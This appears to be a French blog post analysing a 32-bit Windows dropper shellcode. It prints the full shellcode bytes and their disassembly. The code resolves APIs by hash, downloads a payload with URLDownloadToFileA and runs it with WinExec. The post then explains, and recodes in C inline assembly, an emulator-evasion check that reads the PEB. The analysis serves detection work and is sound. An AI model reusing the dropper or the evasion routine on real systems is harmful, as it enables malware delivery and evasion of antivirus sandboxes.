I. Introduction
En analysant divers shellcode X32 du web, nous somme
arrivé sur un shellcode code
qui avez une partie assez bizarreou peu classique au
premier coup d'oeil.
le site en question est le suivant:
"https://wasm.in/threads/pomogite-razobratsja-v-instrukcijax.22344/"
II. Le shellcode
Voici le shellcode X32 correspondant. Nous avons mis en rouge
la partie qui sera étudié dans cette article même si d'autre bloc semble aussi
intéressant dont la fin du shellcode.
Listing du shellcode complét
\x64\xA1\x18\x00\x00\x00\x8B\x40\x30\x8B\x40\x54\x8B\x40\x04\x8B
\x40\x04\x8B\x40\x04\x0D\x20\x00\x20\x00\x3D\x7C\x00\x77\x00\x74
\x01\xC3\x33\xC0\x64\x8B\x40\x30\x78\x0C\x8B\x40\x0C\x8B\x70\x1C
\xAD\x8B\x58\x08\xEB\x09\x8B\x40\x34\x8D\x40\x7C\x8B\x58\x3C\x6A
\x4E\x5A\xD1\xE2\x2B\xE2\x8B\xEC\xC7\x45\x10\x6E\x2E\x65\x78\xC7
\x45\x14\xFF\x01\x00\x00\xC7\x45\x00\x00\x00\x00\x00\xEB\x4F\x5A
\x52\x83\xEA\x56\x89\x55\x18\x56\x57\x8B\x73\x3C\x8B\x74\x33\x78
\x03\xF3\x56\x8B\x76\x20\x03\xF3\x33\xC9\x49\x50\x41\xAD\x33\xFF
\x36\x0F\xBE\x14\x03\x38\xF2\x74\x08\xC1\xCF\x0D\x03\xFA\x40\xEB
\xEF\x58\x3B\xF8\x75\xE5\x5E\x8B\x46\x24\x03\xC3\x66\x8B\x0C\x48
\x8B\x56\x1C\x03\xD3\x8B\x04\x8A\x03\xC3\x5F\x5E\x50\xC3\x8D\x7D
\x1C\x57\x52\xB8\x33\xCA\x8A\x5B\xE8\xA2\xFF\xFF\xFF\x32\xC0\x8B
\xF7\xF2\xAE\x4F\x8B\x45\x10\xAB\x66\x98\x66\xAB\x33\xC0\xB8\x61
\x64\x00\x00\x50\x68\x54\x68\x72\x65\x35\x24\x1C\x69\x74\x50\x54
\x53\xB8\xAA\xFC\x0D\x7C\xFF\x55\x18\x83\xC4\x0C\x50\xB0\x6C\x8A
\xE0\x98\x50\x68\x6F\x6E\x2E\x64\x68\x75\x72\x6C\x6D\x54\xB8\x8E
\x4E\x0E\xEC\xFF\x55\x18\x83\xC4\x0C\x93\x50\x33\xC0\x50\x50\x56
\x8B\x55\x18\x03\x55\x14\x52\x50\xB8\x36\x1A\x2F\x70\xFF\x55\x18
\x5B\x83\x7D\x00\x01\x0F\x85\x9E\x00\x00\x00\x6A\x00\x68\x80\x00
\x00\x00\x6A\x03\x6A\x00\x6A\x03\x68\x00\x00\x00\xC0\x56\xB8\xA5
\x17\x00\x7C\xFF\x55\x18\x89\x45\x04\x6A\x04\x68\x00\x10\x00\x00
\x68\x00\x00\x08\x00\x6A\x00\xB8\x54\xCA\xAF\x91\xFF\x55\x18\x89
\x45\x0C\x50\x6A\x00\x8D\x4D\x08\x51\x68\x00\x00\x08\x00\x50\xFF
\x75\x04\xB8\x16\x65\xFA\x10\xFF\x55\x18\x5F\x8B\x17\x83\xC7\x04
\x8B\x4D\x08\x83\xE9\x04\xE8\xA7\x00\x00\x00\x6A\x00\x6A\x00\x6A
\x00\xFF\x75\x04\xB8\xAC\x08\xDA\x76\xFF\x55\x18\x6A\x00\x8D\x4D
\x08\x51\xFF\x75\x08\xFF\x75\x0C\x83\x04\x24\x04\xFF\x75\x04\xB8
\x1F\x79\x0A\xE8\xFF\x55\x18\xFF\x75\x04\xB8\xFB\x97\xFD\x0F\xFF
\x55\x18\xC7\x45\x00\x02\x00\x00\x00\x57\x56\xB8\x98\xFE\x8A\x0E
\xFF\x55\x18\xEB\x2A\x18\x2A\xF9\xB7\xD2\x77\xB3\x01\x45\x8A\x92
\xB7\xAD\x50\x5D\xE4\x67\xF5\xE6\xC7\x1A\xBF\xAB\x1E\x10\x42\x76
\xA2\xA1\x54\x63\x09\x7B\x89\xB0\xF4\x97\x4E\x73\x93\x3F\xF1\x83
\x7D\x00\x02\x74\x60\xC7\x45\x00\x01\x00\x00\x00\xC7\x45\x10\x79
\x2E\x65\x78\xC7\x45\x14\x72\x01\x00\x00\x8B\x7D\x18\x03\x7D\x14
\xB9\x26\x00\x00\x00\x8B\x57\xFC\xE8\x05\x00\x00\x00\xE9\x7C\xFE
\xFF\xFF\x33\xC0\x8A\x07\xD2\xC8\x32\xC1\xF6\xD0\x32\xC5\x32\xC2
\x32\xC6\xD2\xC0\x02\xC1\x02\xC5\x02\xC2\x02\xC6\xD2\xC8\x2A\xC1
\x2A\xC5\xF6\xD0\x2A\xC2\x2A\xC6\xD2\xC0\xD3\xC2\x0F\xCA\x88\x07
\x47\x49\x75\xCE\xC3\xC3
|
En premier nous avons fait une l'analyse rapide en le
passant dans notre outils d'analyse de shellcode X32. l'avantage et qui ressort
les blocs déjà référencé et les Hashs classique ou commun des shellcodes.
Delà, Il parait claire que celui-ci était un dropper. Nous
retrouvions les APIs assez basique d'appel de GetTempPathA, URLDownloadToFileA, WinExec ... etc.
Mais la première partie du
shellcode semblé contrôler un point avant de faire son traitement et notre
outil n'a pas trouvé de correspondance. Ce qui est plutôt bon signe pour
regarder ce bloc en particulier.
Dont voici la capture écran écran de l'outil de
désassemblage X32
Nous mettons le listing en dessous en mode
"Diagram" avec reconnaissance de bloc du shellcode déjà identifié par
l'outil.
00000000: 64 A1 18 00 00 00 MOV EAX,DWORD PTR FS:[00000018]
00000006: 8B 40 30 MOV
EAX,DWORD PTR[EAX+0x30]
00000009: 8B 40 54 MOV
EAX,DWORD PTR[EAX+0x54]
0000000C: 8B 40 04 MOV
EAX,DWORD PTR[EAX+0x04]
0000000F: 8B 40 04 MOV
EAX,DWORD PTR[EAX+0x04]
00000012: 8B 40 04 MOV
EAX,DWORD PTR[EAX+0x04]
00000015: 0D 20 00 20 00 OR EAX,00200020h
0000001A: 3D 7C 00 77 00 CMP EAX,0077007Ch ( 0077007Ch ('|') Mirror >
'')
0000001F: 74 01 JZ
0x01 (+01h ->:00000022)
00000021: C3 RET
00000022 ->
0000003E:
=>{BLOC}[AsmGetKernel32_V14 -> EBX] conçu pour Win9X/NT
0000003F: 6A 4E PUSH
4Eh (78) 'N'
00000041: 5A POP
EDX
00000042: D1 E2 SHL
EDX,1
00000044: 2B E2 SUB
ESP,EDX
00000046: 8B EC MOV
EBP,ESP
00000048: C7 45 10 6E 2E 65 78 MOV DWORD PTR [EBP+10h], 78652E6Eh
"n.ex"
0000004F: C7 45 14 FF 01 00 00 MOV DWORD PTR [EBP+14h], 000001FFh
"ÿ"
00000056: C7 45 00 00 00 00 00 MOV DWORD PTR [EBP+00h], 00000000h
""
0000005D: EB 4F JMP
4Fh +4Fh ->:000000AE)
0000005F: 5A POP
EDX
00000060: 52 PUSH
EDX
00000061: 83 EA 56 SUB
EDX,56h
00000064: 89 55 18 MOV
DWORD PTR[EBP+18h],EDX
00000067 ->
000000AD:
=>ApiCall_V2[EAX:dwHashRor13Additive,EBX:hModule]
000000AE: 8D 7D 1C LEA
EDI,[EBP+1Ch]
000000B1: 57 PUSH
EDI
000000B2: 52 PUSH
EDX
000000B3: B8 33 CA 8A 5B MOV EAX, 5B8ACA33h (5B8ACA33=Hash[ROR13(Additive)]('GetTempPathA'))
000000B8: E8 A2 FF FF FF CALL FFFFFFA2h (-5Eh ->:0000005F)
000000BD: 32 C0 XOR
AL,AL
000000BF: 8B F7 MOV
ESI,EDI
000000C1: F2 AE REPNE
SCAS BYTE PTR ES:[EDI]
000000C3: 4F DEC
EDI
000000C4: 8B 45 10 MOV
EAX,DWORD PTR [EBP+10h]
000000C7: AB STOSD
(Store EAX at address ES:(E)DI)
000000C8: 66 98 CBW
000000CA: 66 AB STOS
WORD PTR ES:[EDI],AX
000000CC: 33 C0 XOR
EAX,EAX
000000CE: B8 61 64 00 00 MOV EAX, 00006461h "ad"
000000D3: 50 PUSH
EAX
000000D4: 68 54 68 72 65 PUSH 65726854h "Thre" / {84 104 114
101} / < w:29285 | w:21608 >
000000D9: 35 24 1C 69 74 XOR EAX,74691C24h
000000DE: 50 PUSH
EAX
000000DF: 54 PUSH
ESP
000000E0: 53 PUSH
EBX
000000E1: B8 AA FC 0D 7C MOV EAX, 7C0DFCAAh
(7C0DFCAA=Hash[ROR13(Additive)]('GetProcAddress'))
000000E6: FF 55 18 CALL
DWORD PTR [EBP+18h]
000000E9: 83 C4 0C ADD
ESP,0Ch
000000EC: 50 PUSH
EAX
000000ED: B0 6C MOV
AL,0x6C
000000EF: 8A E0 MOV
AH,AL
000000F1: 98 CWDE
(Convert WorD to Extended) WORD=>DWORD EAX=0000XXXX
000000F2: 50 PUSH
EAX
000000F3: 68 6F 6E 2E 64 PUSH 642E6E6Fh "on.d" ( 642E6E6F =
('d.no') => PILE:on.d )
000000F8: 68 75 72 6C 6D PUSH 6D6C7275h "urlm" ( 6D6C7275 =
('mlru') => PILE:urlm )
000000FD: 54 PUSH
ESP
000000FE: B8 8E 4E 0E EC MOV EAX, EC0E4E8Eh (EC0E4E8E=Hash[ROR13(Additive)]('LoadLibraryA'))
00000103: FF 55 18 CALL
DWORD PTR [EBP+18h]
00000106: 83 C4 0C ADD
ESP,0Ch
00000109: 93 XCHG
EAX,EBX (Exchanges (swaps) the value of 2 registers)
0000010A: 50 PUSH
EAX
0000010B: 33 C0 XOR
EAX,EAX
0000010D: 50 PUSH
EAX
0000010E: 50 PUSH
EAX
0000010F: 56 PUSH
ESI
00000110: 8B 55 18 MOV
EDX,DWORD PTR [EBP+18h]
00000113: 03 55 14 ADD
EDX,DWORD PTR[EBP+14h]
00000116: 52 PUSH
EDX
00000117: 50 PUSH
EAX
00000118: B8 36 1A 2F 70 MOV EAX, 702F1A36h (702F1A36=Hash[ROR13(Additive)]('URLDownloadToFileA'))
0000011D: FF 55 18 CALL
DWORD PTR [EBP+18h]
00000120: 5B POP
EBX
00000121: 83 7D 00 01 CMP DWORD PTR[EBP+00h],01h
00000125: 0F 85 9E 00 00 00 JNE 0000009Eh (+9Eh ->:000001C9)
0000012B: 6A 00 PUSH
00h (0) '
0000012D: 68 80 00 00 00 PUSH 00000080h "€" / {128 0 0 0} / <
w:0 | w:32768 >
00000132: 6A
03 PUSH
03h (3)
00000134: 6A 00 PUSH
00h (0)
00000136: 6A 03 PUSH
03h (3)
00000138: 68 00 00 00 C0 PUSH C0000000h "" / {0 0 0 192} / <
w:192 | w:0 >
0000013D: 56 PUSH
ESI
0000013E: B8 A5 17 00 7C MOV EAX, 7C0017A5h "¥"
00000143: FF 55 18 CALL
DWORD PTR [EBP+18h]
00000146: 89 45 04 MOV
DWORD PTR[EBP+04h],EAX
00000149: 6A 04 PUSH
04h (4)
0000014B: 68 00 10 00 00 PUSH 00001000h "" / {0 16 0 0} / <
w:0 | w:16 >
00000150: 68 00 00 08 00 PUSH 00080000h "" / {0 0 8 0} / <
w:2048 | w:0 >
00000155: 6A 00 PUSH
00h (0) '
00000157: B8 54 CA AF 91 MOV EAX, 91AFCA54h (91AFCA54=Hash[ROR13(Additive)]('VirtualAlloc'))
0000015C: FF 55 18 CALL
DWORD PTR [EBP+18h]
0000015F: 89 45 0C MOV
DWORD PTR[EBP+0Ch],EAX
00000162: 50 PUSH
EAX
00000163: 6A 00 PUSH
00h (0) '
00000165: 8D 4D 08 LEA
ECX,[EBP+08h]
00000168: 51 PUSH
ECX
00000169: 68 00 00 08 00 PUSH 00080000h "" / {0 0 8 0} / <
w:2048 | w:0 >
0000016E: 50 PUSH
EAX
0000016F: FF 75 04 PUSH
DWORD PTR [EBP+04h]
00000172: B8 16 65 FA 10 MOV EAX, 10FA6516h
(10FA6516=Hash[ROR13(Additive)]('ReadFile'))
00000177: FF 55 18 CALL
DWORD PTR [EBP+18h]
0000017A: 5F POP
EDI
0000017B: 8B 17 MOV
EDX,DWORD PTR [EDI]
0000017D: 83 C7 04 ADD
EDI,04h
00000180: 8B 4D 08 MOV
ECX,DWORD PTR [EBP+08h]
00000183: 83 E9 04 SUB
ECX,04h
00000186: E8 A7 00 00 00 CALL 000000A7h (+A7h ->:00000232)
0000018B: 6A 00 PUSH
00h (0) '
0000018D: 6A 00 PUSH
00h (0) '
0000018F: 6A 00 PUSH
00h (0) '
00000191: FF 75 04 PUSH
DWORD PTR [EBP+04h]
00000194: B8 AC 08 DA 76 MOV EAX, 76DA08ACh
(76DA08AC=Hash[ROR13(Additive)]('SetFilePointer'))
00000199: FF 55 18 CALL
DWORD PTR [EBP+18h]
0000019C: 6A 00 PUSH
00h (0) '
0000019E: 8D 4D 08 LEA
ECX,[EBP+08h]
000001A1: 51 PUSH
ECX
000001A2: FF 75 08 PUSH
DWORD PTR [EBP+08h]
000001A5: FF 75 0C PUSH
DWORD PTR [EBP+0Ch]
000001A8: 83 04 24 04 ADD DWORD PTR [ESP],04h
000001AC: FF 75 04 PUSH
DWORD PTR [EBP+04h]
000001AF: B8 1F 79 0A E8 MOV EAX, E80A791Fh
(E80A791F=Hash[ROR13(Additive)]('WriteFile'))
000001B4: FF 55 18 CALL
DWORD PTR [EBP+18h]
000001B7: FF 75 04 PUSH
DWORD PTR [EBP+04h]
000001BA: B8 FB 97 FD 0F MOV EAX, 0FFD97FBh "û—ý"
000001BF: FF 55 18 CALL
DWORD PTR [EBP+18h]
000001C2: C7 45 00 02 00 00 00 MOV DWORD PTR [EBP+00h], 00000002h
"[1]"
000001C9: 57 PUSH
EDI
000001CA: 56 PUSH
ESI
000001CB: B8 98 FE 8A 0E MOV EAX, 0E8AFE98h (0E8AFE98=Hash[ROR13(Additive)]('WinExec'))
000001D0: FF 55 18 CALL
DWORD PTR [EBP+18h]
000001D3: EB 2A JMP
2Ah +2Ah ->:000001FF)
000001D5: 18 2A SBB
BYTE PTR[EDX],CH
000001D7: F9 STC // Set Carry Flag (Arme le drapeau de
retenue)
000001D8: B7 D2 MOV
BH,D2h
000001DA: 77 B3 JA
B3h (Jump if Above)(-4Dh ->:0000018F)
000001DC: 01 45 8A ADD
DWORD PTR[EBP-0x76],EAX
000001DF: 92 XCHG
EAX,EDX (Exchanges (swaps) the value of 2 registers)
000001E0: B7 AD MOV
BH,ADh
000001E2: 50 PUSH
EAX
000001E3: 5D POP
EBP
000001E4: E4 67 IN
AL,0x67
000001E6: F5 CMC
000001E7: E6 C7 OUT
0xC7,AL
000001E9: 1A BF AB 1E 10 42 SBB BH,BYTE PTR[EDI+0x42101EAB]
000001EF: 76 A2 JBE
A2h (rel8)(-5Eh ->:00000193)
000001F1: A1 54 63 09 7B MOV EAX,DWORD PTR[7B096354h]
000001F6: 89 B0 F4 97 4E 73 MOV DWORD PTR[EAX+0x734E97F4],ESI
000001FC: 93 XCHG
EAX,EBX (Exchanges (swaps) the value of 2 registers)
000001FD: 3F AAS (ASCII adjust AL after subtraction)
000001FE: F1 ICEBP (INT01 (ICE BreakPoint))
000001FF: 83 7D 00 02 CMP DWORD PTR[EBP+00h],02h
00000203: 74 60 JZ
0x60 (+60h ->:00000265)
00000205: C7 45 00 01 00 00 00 MOV DWORD PTR [EBP+00h], 00000001h
""
0000020C: C7 45 10 79 2E 65 78 MOV DWORD PTR [EBP+10h], 78652E79h
"y.ex"
00000213: C7 45 14 72 01 00 00 MOV DWORD PTR [EBP+14h], 00000172h
"r"
0000021A: 8B 7D 18 MOV
EDI,DWORD PTR [EBP+18h]
0000021D: 03 7D 14 ADD
EDI,DWORD PTR [EBP+14h]
00000220: B9 26 00 00 00 MOV ECX, 00000026h "&"
00000225: 8B 57 FC MOV
EDX,[EDI+FCh]
00000228: E8 05 00 00 00 CALL 00000005h (+05h ->:00000232)
0000022D: E9 7C FE FF FF JMP FFFFFE7Ch (-FFFFFE7Ch ->:000000AE)
00000232: 33 C0 XOR
EAX,EAX
00000234: 8A 07 MOV
AL, BYTE PTR [EDI]
00000236: D2 C8 ROR
AL,CL
00000238: 32 C1 XOR
AL,CL
0000023A: F6 D0 NOT
AL
0000023C: 32 C5 XOR
AL,CH
0000023E: 32 C2 XOR
AL,DL
00000240: 32 C6 XOR
AL,DH
00000242: D2 C0 ROL
AL,CL
00000244: 02 C1 ADD
AL,CL
00000246: 02 C5 ADD
AL,CH
00000248: 02 C2 ADD
AL,DL
0000024A: 02 C6 ADD
AL,DH
0000024C: D2 C8 ROR
AL,CL
0000024E: 2A C1 SUB
AL,CL
00000250: 2A C5 SUB
AL,CH
00000252: F6 D0 NOT
AL
00000254: 2A C2 SUB
AL,DL
00000256: 2A C6 SUB
AL,DH
00000258: D2 C0 ROL
AL,CL
0000025A: D3 C2 ROL
EDX,CL
0000025C: 0F CA BSWAP
EDX
0000025E: 88 07 MOV
[EDI],AL
00000260: 47 INC EDI
00000261: 49 DEC ECX
00000262: 75 CE JNZ CEh
(rel8)(-32h ->:00000232)
00000264: C3 RET
00000265: C3 RET
|
La premier partie est celle qui nous intéresse à étudier
dans cette article. Si une condition est pas présent le shellcode n'exécute pas
son traitement conçu pour le downloader
et l'exécution de la charge.
III. Analyse du bloc ciblé
Voici le bloc extrait qui nous intéresse à analyser.
00000000: 64 A1 18 00 00 00 MOV EAX,DWORD PTR FS:[00000018]
00000006: 8B 40 30 MOV
EAX,DWORD PTR[EAX+0x30]
00000009: 8B 40 54 MOV
EAX,DWORD PTR[EAX+0x54]
0000000C: 8B 40 04 MOV
EAX,DWORD PTR[EAX+0x04]
0000000F: 8B 40 04 MOV
EAX,DWORD PTR[EAX+0x04]
00000012: 8B 40 04 MOV
EAX,DWORD PTR[EAX+0x04]
00000015: 0D 20 00 20 00 OR EAX,00200020h
0000001A: 3D 7C 00 77 00 CMP EAX,0077007Ch ( 0077007Ch ('|') Mirror > '')
0000001F: 74 01 JZ
01h (-00000001h ->:00000022)
00000021: C3 RET
|
Nous avons la premier line qui affecte la valeur de EAX avec
le pointeur ( l'adresse ) sur la
structure Thread Environment Block (TEB) en mémoire pour notre processus.
00000000: 64 A1 18 00 00 00 MOV EAX,DWORD PTR FS:[00000018]
La ligne suivant va dans la structure du TEB pour chercher
le champs
( PEB* pProcessEnvironmentBlock; ) et affecte la
valeur au registre EAX ce qui correspond au pointeur ( l'adresse ) sur la structure Process Environment Block (PEB) en mémoire pour notre processus.
00000006: 8B 40 30 MOV EAX,DWORD PTR[EAX+0x30]
A partir delà nous avons EAX = addresse du PEB
Maintenant ce qui est intéressant est la ligne suivant:
00000009: 8B 40 54 MOV EAX,DWORD PTR[EAX+0x54]
Cette ligne va chercher une valeur dans la structure du
PEB à l'offest 0x54
Hors cela correspond dans "void**
ppReadOnlyStaticServerData"
et va atteindre le tableau contenant un structure identique à des UNICODE_STRING
0000000C: 8B 40 04 MOV EAX,DWORD PTR[EAX+0x04]
Même si elle parait identique, nous appèlerons autrement
pour l'instant. Cela sera détail dans la suite par rapport à un système 64
bits.
typedef struct
_SERVEROBJECTDATA_UNICODE_STRING32 {
USHORT Length;
USHORT MaximumLength;
PWSTR pBuffer;
}
SERVEROBJECTDATA_UNICODE_STRING32 , *PSERVEROBJECTDATA_UNICODE_STRING32 ;
|
Il parait alors simple de comprendre que la ligne suivant ne
fait que cherche le pointeur pBuffer ou
lors de la dernier instruction EAX pointé sur premier valeur du tableaux
contenant des structure SERVEROBJECTDATA_UNICODE_STRING32
0000000F: 8B 40 04 MOV EAX,DWORD PTR[EAX+0x04]
A ce stade le registre EAX contient le pointeur vers la chaîne
( unicode ) de la premier structure SERVEROBJECTDATA_UNICODE_STRING32.
La ligne suivante sert uniquement à mettre dans EAX les 4
octets de la chaîne à partir de la 4
position.
00000012: 8B 40 04 MOV EAX,DWORD PTR[EAX+0x04]
A ce stade EAX aura pour valeur 0x0057005C ce qui
correspond "\W" en unicode.
Nous avons mis des captures pour la visualisation des
étapes et des blocs en mémoire associé
Delà une préparation est effectué pour le bout de chaîne
extrait de 4 octets soit formaté
en minuscule. l'utilisation de l'opérateur OR fait
facilement cela pour les caractères alphabétiques ( A garder à l'esprit que les
autres symbole cela peut change le symbole par exemple '\' deviendra '|' )
00000015: 0D 20 00 20 00 OR EAX,00200020h
Nous avons remis le tableaux Ascii qui vous permet de
visualiser la mise en minuscule des caractères et la mécanique et la raison
d'utilisation de l'opérateur OR
Enfin une comparaison est faite pour connaître si la
valeur du registre EAX est bien égale à celle attendu "|w". si c'est
le cas on continue le programme, dans le cas contraire on arrête là.
0000001A: 3D 7C 00 77 00 CMP EAX,0077007Ch
0000001F: 74 01 JZ 01h (-00000001h ->:00000022)
00000021: C3 RET
00000022: Suite
du traitement
Nous avons maintenant une visualisation complète des actions du bloc.
Nous avons schématisé celui-ci au travers d'une représentation graphique.
Maintenant, nous savons a quoi sert ce code, il vérifie si le chargement par le loader Windows a été effectué du fait que cette partie du PEB au niveau du processus est construit par le loader pour définir les emplacement des éléments système
au final cela garantit que le programme qui exécute le shellcode est une application Win32 connectée au système et plus particulièrement du fait que les informations son remplie par le chargeur de Windows qui est relié au sous-système et au processus (CSRSS).
Un émulateur de code au niveau applicatif ne remplira pas cette partie étant gérer par le chargeur windows et donc sera vide ou n'importe quoi lu sur la zone pointé.
Attention cela ne concerne pas VMWare,HyperV,VirtualBox ou VirtualPC. Car dans ces cas c'est le systéme qui est virtualisé. On n'est pas au niveau du processus
Cela cible plus les Anti-virus , Sandboxie , Chrome Sandbox ... etc
IV. Dans le monde WOW (ProcessX32 sur OS X64) ?
Maintenant comme c'est le chargeur windows qui effectué le
remplisage en mémoire des référence. Ce code ne marchera pas pour des processus
Win32 sur un système X64
Car comme vous le savait un processus Win32 sur un OS X64,
c'est quand même au départ un processus X64 pour le chargeur qui ensuite
bascule en X32 l'exécution (WOW)
En conséquence le tableau contiendra des structures propre
dédier au 64 bits d'ou un tableau SERVEROBJECTDATA_UNICODE_STRING64 et là sa met
ce code non compatible pour les OS 64 bits, mêmes si le processus exécutant ou
portant le shellcode et un Win32.
Pour cela nous avons crée un programme Win32 intégrant les
éléments vu au dessus et exécuter celui-ci sur un environnement Win7(X64) / Le
programme donne deux choses importante le TEB et PEB et ce pour le bloc X32 et
X64.
On voit clairement les tableaux des adresses en DWORD64 et que l'adresse des "Directory Object" ce trouve à l'adresse 0x000000007EFE0AC0.
Notre bloc étudié avant ne pourra pas de ce fait fonctionner car il va prendre un DWORD à l'adresse
0x7EFE0A90 +4 qui va donnera EAX = 0x00000000.
Même si on s'occupe pas de cela et si on lisez correctement l'adresse en DWORD64
Nous aurions comme adresse pour les premier structure 0x000000007EFE0AC0.
Nous allons donc a cette adresse en mémoire dans le processus cible les éléments suivant:
Il y également un changement, étant une zone rempli par le
chargeur elle se trouve définit comme un processus X64.
Delà on peut voir que la structure est différente. Nous la
mettons en dessous sous son format C
typedef struct
_SERVEROBJECTDATA_UNICODE_STRING64 {
USHORT Length;
USHORT MaximumLength;
DWORD pbufferX32
DWORD64 pbufferX64;
} SERVEROBJECTDATA_UNICODE_STRING64,
*SERVEROBJECTDATA_UNICODE_STRING64;
|
Nous voyons la mécanique windows, ils ont garder la
structure initial et pour distingué l'évolution
le pBufferX32 est mis à NULL. Indiquant que celle-ci et la
version X64.
Nous retrouvons donc l'adresse X64 ou ce trouve le
pBufferX64, dans notre exemple sa valeur est la suivant : 0x000000007EFE13F00
En conclusion, le code étudier n'est viable seulement que pour les systèmes windows 32 bits.
V. Codage dans une fonction C
Revenons à notre bloc, nous avons intégrer dans une
fonction de la forme suivante:
bool __declspec(naked)
IsCheckEmulationCodeX32V1(void)
{
__asm
{
MOV EAX,DWORD PTR FS:[0x00000018] // Get Addr TIB in my Process
MOV EAX,[EAX+30h] // Get Addr PEB in my Process
MOV EAX,[EAX+54h]
// PEB.ReadOnlyStaticServerData
MOV EAX,[EAX+04h]
MOV EAX,[EAX+04h]
MOV EAX,[EAX+04h]
OR EAX,0x00200020
CMP EAX,0x0077007C
JZ SautSignatureFound
RET
SautSignatureFound:
XOR EAX,EAX
RET
}
}
|
qui permet de
teste celle-ci simplement et intégrer à notre petit exemple de départ.
Nous avons intégré cette signature dans la base de notre
programme ""Easy Shellcode Analyser X32"
avec une description basique sur le bloc de la fonction
cité au dessus.
VI. Conclusions
Nous espérons que ces quelque ligne,
vous permet de mieux comprendre la mécanique utilis& et mis en oeuvre par
des malwares pour ne pas être détecté ou éviter une analyse par des mécanisme
d'émulation de code.
Nous venons de voir en pratique
cela dans ce shellcode qui effectue une évasion lorsqu'il est exécuter dans un
environnement d'émulation de code au niveau processus. L'intérêt étant assez
limité étant restreint au système 32 bits et non fonctionnelle sur des
environnement 64 bits même si le processus porteur du code et en 32 bits.
Mais exercice permet de mieux
appréhendé les techniques et la compréhension au niveau du fonctionnement
Windows interne sur la partie PEB
Une autre partie du shellcode
est à creuser comme dit lors de l'introduction. Cela sera fait dans un autre
article sur la fonction de la désobfuscation
présente et le mécanisme de double clés.
Aucun commentaire:
Enregistrer un commentaire